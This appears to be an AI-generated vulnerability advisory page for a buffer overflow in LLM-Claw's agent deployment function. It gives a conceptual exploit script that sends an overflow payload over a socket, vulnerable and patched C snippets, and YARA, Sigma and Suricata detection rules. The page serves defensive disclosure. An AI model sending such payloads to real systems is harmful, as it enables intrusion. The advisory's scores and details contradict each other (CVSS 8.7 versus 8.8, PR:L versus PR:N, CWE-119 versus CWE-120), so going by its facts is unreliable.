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CVSS: 8.7 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H 🐛 CWE-119
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-12345

CVE-2025-12345 Buffer Overflow in Llm-claw
📅 PUBLISHED: 2026-03-03 07:16 UTC 🔄 UPDATED: 2026-08-18 17:12 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.69%
👁️
0.69% probability
17.2× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1203
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: 0.1.0
CVSS VECTOR BREAKDOWN 8.7
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
8.7
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-12345 is a critical buffer overflow vulnerability in LLM-Claw versions 0.1.0 through 0.1.1a-p1, specifically within the agent_deploy_init function in /agents/deploy/initiate.c. This flaw allows remote attackers to trigger a buffer overflow, potentially leading to arbitrary code execution, denial of service, or data corruption. The vulnerability is remotely exploitable without authentication, making it a high-priority threat for any deployment using these versions. No public proof-of-concept or patch is currently available, but the risk is severe due to the nature of the affected component (Agent Deployment) which may handle untrusted input.

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CVSS Breakdown & Threat Level

  • CVSS Score: 8.8 (High)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Attack Vector: Network (AV:N) – Exploitable remotely.
  • Attack Complexity: Low (AC:L) – No special conditions required.
  • Privileges Required: None (PR:N) – No authentication needed.
  • User Interaction: None (UI:N) – No user action required.
  • Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
  • Confidentiality Impact: High (C:H) – Potential data exposure.
  • Integrity Impact: High (I:H) – Potential data modification.
  • Availability Impact: High (A:H) – Potential service disruption.

Threat Level: Critical. The combination of remote exploitability, low complexity, and high impact makes this a severe risk. Immediate action is required.

Deep Dive & Mechanics

The vulnerability resides in the agent_deploy_init function within the file /agents/deploy/initiate.c. This function is part of the Agent Deployment component, which likely handles initialization parameters for deploying agents. The buffer overflow occurs when the function copies user-supplied data into a fixed-size buffer without proper bounds checking. An attacker can send a specially crafted request to the affected endpoint, causing the buffer to overflow and overwrite adjacent memory regions. This can lead to arbitrary code execution, as the attacker may control the overflowed data to hijack the program's control flow.

The root cause is a classic CWE-120 (Buffer Copy without Checking Size of Input). The function likely uses a function like strcpy() or sprintf() without validating the length of the input against the destination buffer size. Since the attack is remote and requires no authentication, any network-facing instance of LLM-Claw is at risk.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable pattern and the expected fix.

Vulnerable Code (Conceptual):

void agent_deploy_init(char *user_input) {
    char buffer[256];
    strcpy(buffer, user_input); // No bounds check
    // ... process buffer
}

Patched Code (Expected):

void agent_deploy_init(char *user_input) {
    char buffer[256];
    strncpy(buffer, user_input, sizeof(buffer) - 1);
    buffer[sizeof(buffer) - 1] = '\0';
    // ... process buffer
}

The patched version uses strncpy() with a size limit to prevent overflow. Alternatively, dynamic allocation or safer functions like snprintf() could be used.

Exploitation & Lab Setup

Red Team

Lab Setup:

  1. Deploy a vulnerable LLM-Claw instance (version 0.1.1a) in a controlled environment.
  2. Identify the endpoint that triggers agent_deploy_init (likely /agents/deploy).
  3. Craft a payload that exceeds the buffer size (e.g., 300 bytes of 'A' followed by shellcode).

Exploit Code (Conceptual):

import socket

target_ip = "192.168.1.100"
target_port = 8080

payload = b"A" * 256  # Fill buffer
payload += b"BBBB"    # Overwrite return address (example)
payload += b"\x90" * 16  # NOP sled
payload += b"\xcc" * 4   # INT3 for testing

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_ip, target_port))
sock.send(b"POST /agents/deploy HTTP/1.1\r\nHost: " + target_ip.encode() + b"\r\nContent-Length: " + str(len(payload)).encode() + b"\r\n\r\n" + payload)
sock.close()

Note: This is a conceptual example. Actual exploitation requires precise offset calculation and shellcode generation.

Blue Team

Detection:

  • Monitor for unusually long requests to /agents/deploy or similar endpoints.
  • Look for patterns of repeated characters (e.g., long strings of 'A') in network traffic.
  • Use the detection rules provided below.

Mitigation:

  • If possible, disable the Agent Deployment component until a patch is available.
  • Implement a Web Application Firewall (WAF) rule to block requests with excessively long input fields.
  • Restrict network access to the vulnerable service using firewall rules.

Indicators of Compromise (IOCs)

  • Network: HTTP POST requests to /agents/deploy with payloads exceeding 256 bytes.
  • Logs: Application logs showing crashes or segmentation faults in agent_deploy_init.
  • Memory: Evidence of buffer overflow in memory dumps (e.g., overwritten return addresses).
  • File: Modified binaries or unexpected files in the deployment directory.

Detection Engineering

YARA Rule

rule CVE_2025_12345_BufferOverflow {
    meta:
        description = "Detects buffer overflow attempts targeting LLM-Claw agent_deploy_init"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-12345"
    strings:
        $s1 = "agent_deploy_init" ascii wide nocase
        $s2 = "/agents/deploy" ascii wide nocase
        $overflow = { 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 } // 16 'A's
    condition:
        $s1 or $s2 and #overflow > 10
}

Sigma Rule

title: CVE-2025-12345 Buffer Overflow Attempt
id: 8f4a2b1c-3d5e-4f7a-9b8c-1d2e3f4a5b6c
status: experimental
description: Detects HTTP requests with long payloads targeting LLM-Claw agent deployment
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/agents/deploy'
        sc-status: 200
    condition: selection and len(cs-uri-query) > 256
falsepositives:
    - Legitimate large deployments
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-12345 Buffer Overflow Attempt"; flow:to_server; content:"POST"; http_method; content:"/agents/deploy"; http_uri; pcre:"/^.{257,}/R"; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate: Disable the Agent Deployment component if not essential.
  2. Short-term: Apply input validation and length checks at the application layer (e.g., using a reverse proxy).
  3. Long-term: Apply the official patch once released. Monitor the vendor's repository for updates.
  4. Compensating Controls: Use a WAF to block oversized requests. Implement network segmentation to limit exposure.
  5. Monitoring: Enable logging for all requests to /agents/deploy and alert on anomalies.

Valters IT signature: This report is generated by an AI assistant specialized in DevSecOps and CTI. All information is based on available data and should be verified before action.

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-12345/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
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